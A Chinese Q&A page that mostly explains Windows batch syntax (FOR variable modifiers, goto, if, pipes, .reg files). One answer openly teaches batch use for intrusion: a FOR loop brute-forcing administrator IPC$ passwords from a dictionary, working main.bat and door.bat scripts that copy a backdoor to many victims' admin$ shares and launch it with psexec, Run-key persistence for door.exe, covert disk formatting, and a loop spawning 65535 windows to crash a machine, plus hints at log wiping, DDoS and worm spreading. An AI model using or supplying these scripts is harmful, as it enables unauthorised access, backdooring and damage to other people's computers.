批处理参数详解
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理参数详解相关的知识,希望对你有一定的参考价值。
请高手详细解释一下,谢谢!
FOR命令中的变量FOR命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法!
先把FOR的变量全部列出来:
~I - 删除任何引号("),扩展 %I
%~fI - 将 %I 扩展到一个完全合格的路径名
%~dI - 仅将 %I 扩展到一个驱动器号
%~pI - 仅将 %I 扩展到一个路径
%~nI - 仅将 %I 扩展到一个文件名
%~xI - 仅将 %I 扩展到一个文件扩展名
%~sI - 扩展的路径只含有短名
%~aI - 将 %I 扩展到文件的文件属性
%~tI - 将 %I 扩展到文件的日期/时间
%~zI - 将 %I 扩展到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展
到找到的第一个完全合格的名称。如果环境变量名
未被定义,或者没有找到文件,此组合键会扩展到
空字符串
我们可以看到每行都有一个大写字母"I",这个I其实就是我们在FOR带入的变量,我们FOR语句代入的变量名是什么,这里就写什么.
比如:FOR /F %%z IN ('set') DO @echo %%z
这里我们代入的变量名是z那么我们就要把那个I改成z,例如%~fI改为%~fz
至于前面的%~p这样的内容就是语法了!
好开始讲解:
~I - 删除任何引号("),扩展 %I
这个变量的作用就如他的说明,删除引号!
我们来看这个例子:
首先我们在桌面建立一个名字为temp.txt文本文件,在里面输入这些内容
"1111
2222"
"3333"
44"44
然后在建立个BAT文件代码如下:
FOR /F "delims=" %%i IN (temp.txt) DO @echo %%~i
pause
执行后,我们看CMD的回显如下:
1111
2222"
3333
44"44
和之前temp.txt中的内容对比一下,我们会发现第一行和第三行的引号都消失了,这就是删除引号~i的作用了!
删除引号规则如下(BAT兄补充!)
1、若字符串首尾同时存在引号,则删除首尾的引号;
2、若字符串尾不存在引号,则删除字符串首的引号;
3、如果字符串中间存在引号,或者只在尾部存在引号,则不删除。
%~fI - 将 %I 扩展到一个完全合格的路径名
看例子:
把代码保存放在随便哪个地方,我这里就放桌面吧.
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~fi
pause
执行后显示内容如下
C:\Documents and Settings\Administrator\桌面\test.bat
C:\Documents and Settings\Administrator\桌面\test.vbs
当我把代码中的 %%~fi直接改成%%i
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%i
pause
执行后就会显示这些内容
test.bat
test.vbs
通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用
也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单
单打印一个文件名,自己动手动实验下就知道了!
%~dI - 仅将 %I 扩展到一个驱动器号
看例子:
代码如下,我还是放到桌面执行!
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~di
pause
执行后我CMD里显示如下
C:
C:
我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件
或者目录所在的盘符号打印出来!
%~pI - 仅将 %I 扩展到一个路径
这个用法和上面一样,他只打印路径不打印文件名字
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~pi
pause
我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!
%~nI - 仅将 %I 扩展到一个文件名
只打印文件名字
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ni
pause
%~xI - 仅将 %I 扩展到一个文件扩展名
只打印文件的扩展名
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~xi
pause
%~sI - 扩展的路径只含有短名
打印绝对短文件名
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~si
pause
%~aI - 将 %I 扩展到文件的文件属性
打印文件的属性
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ai
pause
%~tI - 将 %I 扩展到文件的日期/时间
打印文件建立的日期
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ti
pause
%~zI - 将 %I 扩展到文件的大小
打印文件的大小
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~zi
pause
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展
到找到的第一个完全合格的名称。如果环境变量名
未被定义,或者没有找到文件,此组合键会扩展到
空字符串
这是最后一个,和上面那些都不一样,我单独说说!
我们先在桌面建立一个temp.txt文件,里面写上这些内容
c:\windows
c:\windows\system32
c:\windows\teett
然后在把这些代码保存为批处理,放在桌面.
FOR /F "delims==" %%i IN (temp.txt) DO @echo %%~$PATH:i
pause
执行后CMD显示如下内容
c:\WINDOWS
c:\WINDOWS\system32
ECHO 处于打开状态。
为什么会这样呢,还有一行c:\windows\teett呢?
我们直接在CMD里输入echo %path% 会显示C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
%%~$PATH:i也就是在文本里寻找匹配这个PATH变量值的内容,如果里面的内容和PATH变量相同,就打印出来
如果不相同,就显示一个空行!
只能适用于PATH变量,其他变量不行,如果要比较很多值,可尝试把值赋予给PATH变量,我没测试!
好了,FOR的的变量就介绍到这了!
参考资料:http://www.cn-dot.net
参考技术A 如果没有一定的相关知识恐怕不容易看懂和理解批处理文件,也就更谈不上自己动手编写了批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [ on|off ] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if %1 == goto noparms
if %2 == goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: [Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if %1 == goto noparms
if %2 == goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for %variable|%%variable in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 \'z\' 或
\'Z\' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rc
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.
C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explore
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被删除了;
批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
1、 REM
REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:
REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。
2、 ECHO
ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例:
Echo off
Rem 以上代表关闭回显即不显示所执行的命令
Echo 这个就是消息。
Rem 以上代表显示"这就是消息"这列字符
执行结果:
C:\>ECHO.BAT
这个就是消息。
3、 GOTO
GOTO 即为跳转的意思。在批处理中允许以":XXX"来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例
:LABEL
REM 上面就是名为LABEL的标号。
DIR C:\
DIR D:\
GOTO LABEL
REM 以上程序跳转标号LABEL处继续执行。
4、CALL
CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:
批处理2.BAT内容如下:
ECHO 这就是2的内容
批处理1.BAT内容如下:
ECHO 这是1的内容
CALL 2.BAT
ECHO 1和2的内容全部显示完成
执行结果如下:
C:\>1.BAT
这是1的内容
这就是2的内容
1和2的内容全部显示完成
5、PAUSE
PAUSE 停止系统命令的执行并显示下面的内容。例:
C:\> PAUSE
请按任意键继续 . . .
6、 IF
IF 条件判断语句,语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
说明:
[NOT] 将返回的结果取反值即"如果没有"的意思。
ERRORLEVEL 是命令执行完成后返回的退出值
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。
string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command
EXIST filename 为文件或目录存在的意思。
IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。
例:
1、 IF [NOT] ERRORLEVEL number command
检测命令执行完后的返回值做出判断。
echo off
dir z:
rem 如果退出代码为1(不成功)就跳至标题1处执行
IF ERRORLEVEL 1 goto 1
rem 如果退出本回答被提问者采纳
转批处理命令 For循环命令详解!
FOR这条命令基本上都被用来处理文本,但还有其他一些好用的功能!
看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)
FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令
参数:FOR有4个参数 /d /l /r /f 他们的作用我在下面用例子解释
%%变量名 :这个变量名可以是小写a-z或者大写A-Z,他们区分大小写,FOR会把每个读取到的值给他;
IN:命令的格式,照写就是了;
(相关文件或命令) :FOR要把什么东西读取然后赋值给变量,看下面的例子
do:命令的格式,照写就是了!
执行的命令:对每个变量的值要执行什么操作就写在这.
可以在CMD输入for /?看系统提供的帮助!对照一下
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
现在开始讲每个参数的意思
/d
仅为目录
如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符(* 和 ?),将对与 Set 相匹配的每个目
录(而不是指定目录中的文件组)执行指定的 Command。
系统帮助的格式:FOR /D %%variable IN (set) DO command
他主要用于目录搜索,不会搜索文件,看这样的例子
@echo off
for /d %%i in (*) do @echo %%i
pause
把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!
在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来
@echo off
for /d %%i in (???) do @echo %%i
pause
这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了
思考题目:
@echo off
for /d %%i in (window?) do @echo %%i
pause
保存到C盘下执行,会显示什么呢?自己看吧!
/D参数只能显示当前目录下的目录名字,这个大家要注意!
/R
递归
进入根目录树 [Drive:]Path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则认为是
当前目录。如果 Set 只是一个句点 (.),则只枚举目录树。
系统帮助的格式:FOR /R [[drive:]path] %%variable IN (set) DO command
上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比
/D强大多了!
他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!
@echo off
for /r c:/ %%i in (*.exe) do @echo %%i
pause
咋们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部
的EXE文件都列出来了,这里的c:/就是目录了。
再来一个
@echo off
for /r %%i in (*.exe) do @echo %%i
pause
参数不一样了,这个命令前面没加那个C:/也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这
个BAT你把他防灾d:/test目录下执行,那么他就会把D:/test目录和他下面的子目录的全部EXE文件列出
来!!!
/L
迭代数值范围
使用迭代变量设置起始值 (Start#),然后逐步执行一组范围的值,直到该值超过所设置的终止值 (End#)
。/L 将通过对 Start# 与 End# 进行比较来执行迭代变量。如果 Start# 小于 End#,就会执行该命令。
如果迭代变量超过 End#,则命令解释程序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执
行此范围内的值。例如,(1,1,5) 生成序列 1 2 3 4 5,而 (5,-1,1) 则生成序列 (5 4 3 2 1)。语法是:
系统帮助的格式:for /L %% Variable in (Start#,Step#,End#) do Command
例如:
@echo off
for /l %%i in (1,1,5) do @echo %%i
pause
保存执行看效果,他会打印从1 2 3 4 5 这样5个数字
(1,1,5)这个参数也就是表示从1开始每次加1直到5终止!
再看这个例子
@echo off
for /l %%i in (1,1,5) do start cmd
pause
执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,
我先告诉大家,会打开65535个CMD窗口....这么多你不死机算你强!
当然我们也可以把那个start cmd改成md %%i 这样就会建立指定个目录了!!!名字为1-65535
看完这个被我赋予破坏性质的参数后,我们来看最后一个参数
/f
